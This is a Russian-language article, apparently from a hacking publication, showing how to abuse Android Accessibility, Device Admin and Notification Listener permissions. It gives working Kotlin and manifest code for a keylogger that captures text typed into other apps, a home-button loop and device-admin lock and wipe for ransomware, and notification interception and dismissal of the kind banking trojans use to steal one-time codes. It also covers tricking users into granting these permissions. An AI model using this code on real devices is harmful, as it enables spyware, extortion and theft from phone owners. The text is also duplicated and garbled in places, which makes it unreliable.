Кроме традиционных разрешений, в Android есть три мета‑разрешения, которые открывают доступ к весьма опасным API, позволяющим в прямом смысле захватить контроль над устройством. В этой статье мы научимся их использовать, чтобы программно нажимать кнопки смартфона, перехватывать уведомления, извлекать текст из полей ввода других приложений и сбрасывать настройки смартфона.
О каких API пойдет речь?
Заставить пользователя дать разрешение на использование этих API можно обманом. Зачастую зловреды прикидываются легитимными приложениями, которым разрешение нужно для работы ключевой функциональности. К примеру, это может быть приложение для ведения журнала уведомлений или приложение для альтернативной жестовой навигации (такому приложению нужен сервис Accessibility для нажатия кнопок навигации). Также можно использовать атаку Cloak & Dagger, чтобы перекрыть окно настроек другим безобидным окном.
class AccessService: AccessibilityService() {
companion object {
var service: AccessibilityService? = null
// Метод для программного нажатия кнопки «Домой»
fun pressHome() {
service?.performGlobalAction(GLOBAL_ACTION_HOME)
}
}
override fun onServiceConnected() {
service = this
super.onServiceConnected()
}
override fun onUnbind(intent: Intent?): Boolean {
service = null
return super.onUnbind(intent)
}
override fun onInterrupt() {}
override fun onAccessibilityEvent(event: AccessibilityEvent) {}
}
Чтобы система узнала о нашем сервисе, его необходимо объявить в AndroidManifest.xml:
<service
android:name=".AccessService"
android:label="@string/app_name"
android
ermission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
Это описание ссылается на конфигурационный файл accessibility_service_config.xml, который должен быть определен в каталоге xml проекта. Для нашего случая достаточно будет такого конфига:
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:canRetrieveWindowContent="false"
android:description="@string/accessibility_description" />
После того как пользователь включит наш сервис Accessibility в окне «Настройки → Спец. возможности», система автоматически запустит сервис и мы сможем выполнить функцию pressHome(), чтобы нажать кнопку «Домой»:
// Если service не null — значит, система успешно запустила сервис
if (AccessService.service != null) {
AccessService.pressHome()
}
Одной лишь только этой функциональности достаточно, чтобы реализовать Ransomware, который будет вызывать функцию pressHome() в цикле и бесконечно возвращать пользователя на домашний экран, не давая нормально использовать устройство.
Окно включения сервиса Accessibility в Android 11Однако настоящая мощь Accessibility кроется не в нажатии кнопок навигации, а в возможности контролировать другие приложения.
Чтобы научить наше приложение «ходить» по интерфейсу приложений, мы должны изменить описание сервиса в его настройках. Следующий конфиг дает полный доступ к интерфейсу любого приложения:
<accessibility-service
xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackAllMask"
android:accessibilityFlags="flagDefault"
android:canRequestEnhancedWebAccessibility="true"
android:notificationTimeout="100"
android
ackageNames="@null"
android:canRetrieveWindowContent="true"
android:canRequestTouchExplorationMode="true"
/>
Теперь напишем простейший кейлоггер. Для этого добавим в код сервиса такую функцию:
override fun onAccessibilityEvent(event: AccessibilityEvent) {
if (event.source?.className == "android.widget.EditText") {
Log.d("EditText text: ", event.source?.text.toString())
}
}
Теперь все, что пользователь введет в любое поле ввода любого приложения, будет выведено в консоль.
API Accessibility достаточно развит и позволяет перемещаться по дереву элементов, копировать текст элементов, вставлять в них текст и выполнять множество других действий. Это действительно опасный инструмент, поэтому Android будет использовать любую возможность, чтобы отозвать права Accessibility у приложения. Например, это произойдет при первом же падении сервиса. Кроме того, Android предоставляет разработчикам способ защитить критические компоненты приложения с помощью флага importantForAccessibility:
<LinearLayout
android:importantForAccessibility="noHideDescendants"
... />
Этот код скроет лейаут и всех его потомков от сервисов Accessibility.
То же самое в коде:
view.setImportantForAccessibility(IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS);
$ adb shell uiautomator dump
$ adb pull /sdcard/window_dump.xml
Первое, что мы должны сделать, — создать ресивер, который будет вызван после включения/выключения прав администратора. Добавлять в ресивер какой‑то осмысленный код необязательно — главное, чтобы он был:
class DeviceAdminPermissionReceiver : DeviceAdminReceiver() {
override fun onDisabled(aContext: Context, aIntent: Intent) {
}
}
Далее ресивер необходимо добавить в манифест:
<receiver
android:name=".DeviceAdminPermissionReceiver"
android:label="@string/app_name"
android
ermission="android.permission.BIND_DEVICE_ADMIN">
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/admin_policies" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
Эта запись ссылается на конфигурационный файл xml/admin_policies.xml. Создаем его и добавляем следующие строки:
<device-admin>
<uses-policies>
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>
Конфиг говорит, что наше приложение может сбрасывать и менять пароль экрана блокировки, выключать экран, блокируя его паролем, и сбрасывать устройство до заводских настроек.
После того как пользователь даст разрешение на использование прав администратора в разделе «Настройки → Безопасность → Приложения администратора устройства», мы можем проверить, действительно ли мы получили эти права, и воспользоваться ими:
// Функция для определения наличия прав
fun checkAdminPermission() {
val adminComponent = ComponentName(this, DeviceAdminPermissionReceiver::class.java)
val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager
return policyManager.isAdminActive(adminComponent))
}
val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager
// Блокируем устройство и принудительно запрашиваем пароль
policyManager.lockNow()
// Сбрасываем устройство до заводских настроек
policyManager.wipeData(0)
// Меняем пароль экрана блокировки (не работает в Android 7+)
policyManager.resetPassword("1234", 0)
Обрати внимание, что мы можем заблокировать устройство и даже сбросить его до заводских настроек, но начиная с Android 7 не имеем права поменять текущий пароль на экране блокировки.
Если быть более точным, текущий пароль в современных устройствах может изменять только приложение со статусом device owner. Есть лишь два способа получить такой статус:
Но, даже имея возможность только сбрасывать и блокировать устройство, мы можем написать приложение, которое будет требовать у пользователя выкуп, угрожая уничтожить все данные, или блокировать устройство в цикле. При этом пользователь не сможет просто так взять и удалить наше приложение, сначала придется отозвать у него права администратора.
Экран включения прав администратора
Как и в случае Accessibility API, для перехвата уведомлений нужен сервис, которым в итоге будет управлять сама система. Напишем код сервиса:
class NLService: NotificationListenerService() {
private var connected = false
override fun onListenerConnected() {
connected = true
super.onListenerConnected()
}
override fun onListenerDisconnected() {
connected = false
super.onListenerDisconnected()
}
override fun onNotificationPosted(sbn: StatusBarNotification) {
cancelNotification(sbn.key)
}
override fun onNotificationRemoved(sbn: StatusBarNotification?) {
}
}
Сервис имеет четыре основных колбэка. Два вызываются при подключении/отключении сервиса (это обычно происходит при запуске и остановке приложения, а также при включении и выключении доступа к уведомлениям). Еще два нужны для обработки появления/исчезновения уведомлений.
Наш простейший сервис при появлении уведомления сразу смахивает его, а при исчезновении не делает ничего. Однако мы могли бы, например, запомнить заголовок, текст, а также пакет, которому принадлежит уведомление:
val extras = sbn.notification.extras
val title = extras.getCharSequence(Notification.EXTRA_TITLE)
val text = extras.getCharSequence(Notification.EXTRA_TEXT)
val package = sbn.packageName
Банковские трояны обычно смотрят на пакет приложения, сравнивая с базой банковских клиентов, а также распарсивают заголовок и текст сообщения в поисках специфичных для сообщений банков строк. Далее уведомление программно смахивается.
Чтобы сервис заработал, его необходимо объявить в манифесте:
<service
android:name=".NLService"
android:label="@string/app_name"
android
ermission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
После включения в настройках (Приложения и уведомления → Специальный доступ → Доступ к уведомлениям) сервис начнет работать.
Окно включения доступа к уведомлениям
О каких API пойдет речь?
- Администрирование устройства — API, предназначенный для корпоративных приложений. Позволяет сбрасывать и устанавливать пароль экрана блокировки, сбрасывать смартфон до заводских настроек и устанавливать правила минимальной сложности пароля. Одна из особенностей API — запрещено удалять приложения, получившие права администратора, чем с радостью пользуются авторы зловредных приложений.
- Accessibility — API для реализации приложений, ориентированных на людей с ограниченными возможностями. Фактически API позволяет создавать альтернативные способы управления устройством и поэтому открывает поистине огромный простор для злоупотребления. С его помощью можно получить доступ к содержимому экрана практически любого приложения, нажимать кнопки интерфейса и программно нажимать клавиши самого смартфона. Но есть и способ защиты: разработчик приложения может прямо указать, что определенные элементы интерфейса приложения будут недоступны для сервисов Accessibility.
- Уведомления — API, позволяющий получить доступ ко всем уведомлениям, которые отображаются в панели уведомлений. С помощью этого API приложение может прочитать всю информацию об уведомлении, включая заголовок, текст и содержимое кнопок управления, нажать на эти кнопки и даже смахнуть уведомление. API пользуется особой популярностью среди разработчиков всевозможных банковских троянов, с помощью которого они могут читать коды подтверждения и смахивать предупреждающие сообщения от банков.
Заставить пользователя дать разрешение на использование этих API можно обманом. Зачастую зловреды прикидываются легитимными приложениями, которым разрешение нужно для работы ключевой функциональности. К примеру, это может быть приложение для ведения журнала уведомлений или приложение для альтернативной жестовой навигации (такому приложению нужен сервис Accessibility для нажатия кнопок навигации). Также можно использовать атаку Cloak & Dagger, чтобы перекрыть окно настроек другим безобидным окном.
НАЖИМАЕМ КНОПКИ СМАРТФОНА
Простейший сервис Accessibility может выглядеть так (код на Kotlin):class AccessService: AccessibilityService() {
companion object {
var service: AccessibilityService? = null
// Метод для программного нажатия кнопки «Домой»
fun pressHome() {
service?.performGlobalAction(GLOBAL_ACTION_HOME)
}
}
override fun onServiceConnected() {
service = this
super.onServiceConnected()
}
override fun onUnbind(intent: Intent?): Boolean {
service = null
return super.onUnbind(intent)
}
override fun onInterrupt() {}
override fun onAccessibilityEvent(event: AccessibilityEvent) {}
}
Чтобы система узнала о нашем сервисе, его необходимо объявить в AndroidManifest.xml:
<service
android:name=".AccessService"
android:label="@string/app_name"
android
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
Это описание ссылается на конфигурационный файл accessibility_service_config.xml, который должен быть определен в каталоге xml проекта. Для нашего случая достаточно будет такого конфига:
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:canRetrieveWindowContent="false"
android:description="@string/accessibility_description" />
После того как пользователь включит наш сервис Accessibility в окне «Настройки → Спец. возможности», система автоматически запустит сервис и мы сможем выполнить функцию pressHome(), чтобы нажать кнопку «Домой»:
// Если service не null — значит, система успешно запустила сервис
if (AccessService.service != null) {
AccessService.pressHome()
}
Одной лишь только этой функциональности достаточно, чтобы реализовать Ransomware, который будет вызывать функцию pressHome() в цикле и бесконечно возвращать пользователя на домашний экран, не давая нормально использовать устройство.
Окно включения сервиса Accessibility в Android 11Однако настоящая мощь Accessibility кроется не в нажатии кнопок навигации, а в возможности контролировать другие приложения.
ПЕРЕХВАТЫВАЕМ СОДЕРЖИМОЕ ПОЛЕЙ ВВОДА
API Accessibility был создан для людей с ограниченными возможностями. С его помощью можно, например, создать приложение, которое будет зачитывать все надписи интерфейса и позволит нажимать элементы интерфейса голосом. Все это достижимо благодаря тому, что Accessibility дает полный доступ к интерфейсу приложений в виде дерева элементов: можно пройти по нему и выполнить над элементами определенные операции.Чтобы научить наше приложение «ходить» по интерфейсу приложений, мы должны изменить описание сервиса в его настройках. Следующий конфиг дает полный доступ к интерфейсу любого приложения:
<accessibility-service
xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackAllMask"
android:accessibilityFlags="flagDefault"
android:canRequestEnhancedWebAccessibility="true"
android:notificationTimeout="100"
android
android:canRetrieveWindowContent="true"
android:canRequestTouchExplorationMode="true"
/>
Теперь напишем простейший кейлоггер. Для этого добавим в код сервиса такую функцию:
override fun onAccessibilityEvent(event: AccessibilityEvent) {
if (event.source?.className == "android.widget.EditText") {
Log.d("EditText text: ", event.source?.text.toString())
}
}
Теперь все, что пользователь введет в любое поле ввода любого приложения, будет выведено в консоль.
API Accessibility достаточно развит и позволяет перемещаться по дереву элементов, копировать текст элементов, вставлять в них текст и выполнять множество других действий. Это действительно опасный инструмент, поэтому Android будет использовать любую возможность, чтобы отозвать права Accessibility у приложения. Например, это произойдет при первом же падении сервиса. Кроме того, Android предоставляет разработчикам способ защитить критические компоненты приложения с помощью флага importantForAccessibility:
<LinearLayout
android:importantForAccessibility="noHideDescendants"
... />
Этот код скроет лейаут и всех его потомков от сервисов Accessibility.
То же самое в коде:
view.setImportantForAccessibility(IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS);
Дамп дерева UI
Есть удобный способ сделать дамп UI любого приложения таким, каким его видит сервис Accessibility:$ adb shell uiautomator dump
$ adb pull /sdcard/window_dump.xml
БЛОКИРУЕМ УСТРОЙСТВО И ЗАЩИЩАЕМСЯ ОТ УДАЛЕНИЯ
Перейдем к API администрирования устройства. Как уже было сказано, этот API предназначен для удаленного управления защитой устройств: установки пароля, политик сложности пароля и удаленного сброса устройства. Использовать его не труднее, чем сервис Accessibility, но сам принцип отличается.Первое, что мы должны сделать, — создать ресивер, который будет вызван после включения/выключения прав администратора. Добавлять в ресивер какой‑то осмысленный код необязательно — главное, чтобы он был:
class DeviceAdminPermissionReceiver : DeviceAdminReceiver() {
override fun onDisabled(aContext: Context, aIntent: Intent) {
}
}
Далее ресивер необходимо добавить в манифест:
<receiver
android:name=".DeviceAdminPermissionReceiver"
android:label="@string/app_name"
android
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/admin_policies" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
Эта запись ссылается на конфигурационный файл xml/admin_policies.xml. Создаем его и добавляем следующие строки:
<device-admin>
<uses-policies>
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>
Конфиг говорит, что наше приложение может сбрасывать и менять пароль экрана блокировки, выключать экран, блокируя его паролем, и сбрасывать устройство до заводских настроек.
После того как пользователь даст разрешение на использование прав администратора в разделе «Настройки → Безопасность → Приложения администратора устройства», мы можем проверить, действительно ли мы получили эти права, и воспользоваться ими:
// Функция для определения наличия прав
fun checkAdminPermission() {
val adminComponent = ComponentName(this, DeviceAdminPermissionReceiver::class.java)
val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager
return policyManager.isAdminActive(adminComponent))
}
val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager
// Блокируем устройство и принудительно запрашиваем пароль
policyManager.lockNow()
// Сбрасываем устройство до заводских настроек
policyManager.wipeData(0)
// Меняем пароль экрана блокировки (не работает в Android 7+)
policyManager.resetPassword("1234", 0)
Обрати внимание, что мы можем заблокировать устройство и даже сбросить его до заводских настроек, но начиная с Android 7 не имеем права поменять текущий пароль на экране блокировки.
Если быть более точным, текущий пароль в современных устройствах может изменять только приложение со статусом device owner. Есть лишь два способа получить такой статус:
- установить приложение‑администратор на девственно чистое устройство с помощью QR-кода. Для этого есть специальный API, которого мы не будем касаться в этой статье;
- назначить приложение device owner’ом с помощью ADB или прав root. Для этого нужно выполнить такую команду:
Но, даже имея возможность только сбрасывать и блокировать устройство, мы можем написать приложение, которое будет требовать у пользователя выкуп, угрожая уничтожить все данные, или блокировать устройство в цикле. При этом пользователь не сможет просто так взять и удалить наше приложение, сначала придется отозвать у него права администратора.
Экран включения прав администратора
ПЕРЕХВАТЫВАЕМ И СМАХИВАЕМ УВЕДОМЛЕНИЯ
Может показаться, что перехват уведомлений не столь уж лакомый кусок для зловредов, но только вдумайся: в современных устройствах через уведомления проходит масса конфиденциальной информации: СМС (включая одноразовые коды подтверждения), сообщения мессенджеров, заголовки писем и часть их содержимого, всевозможные сервисные сообщения.Как и в случае Accessibility API, для перехвата уведомлений нужен сервис, которым в итоге будет управлять сама система. Напишем код сервиса:
class NLService: NotificationListenerService() {
private var connected = false
override fun onListenerConnected() {
connected = true
super.onListenerConnected()
}
override fun onListenerDisconnected() {
connected = false
super.onListenerDisconnected()
}
override fun onNotificationPosted(sbn: StatusBarNotification) {
cancelNotification(sbn.key)
}
override fun onNotificationRemoved(sbn: StatusBarNotification?) {
}
}
Сервис имеет четыре основных колбэка. Два вызываются при подключении/отключении сервиса (это обычно происходит при запуске и остановке приложения, а также при включении и выключении доступа к уведомлениям). Еще два нужны для обработки появления/исчезновения уведомлений.
Наш простейший сервис при появлении уведомления сразу смахивает его, а при исчезновении не делает ничего. Однако мы могли бы, например, запомнить заголовок, текст, а также пакет, которому принадлежит уведомление:
val extras = sbn.notification.extras
val title = extras.getCharSequence(Notification.EXTRA_TITLE)
val text = extras.getCharSequence(Notification.EXTRA_TEXT)
val package = sbn.packageName
Банковские трояны обычно смотрят на пакет приложения, сравнивая с базой банковских клиентов, а также распарсивают заголовок и текст сообщения в поисках специфичных для сообщений банков строк. Далее уведомление программно смахивается.
Чтобы сервис заработал, его необходимо объявить в манифесте:
<service
android:name=".NLService"
android:label="@string/app_name"
android
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
После включения в настройках (Приложения и уведомления → Специальный доступ → Доступ к уведомлениям) сервис начнет работать.
Окно включения доступа к уведомлениям


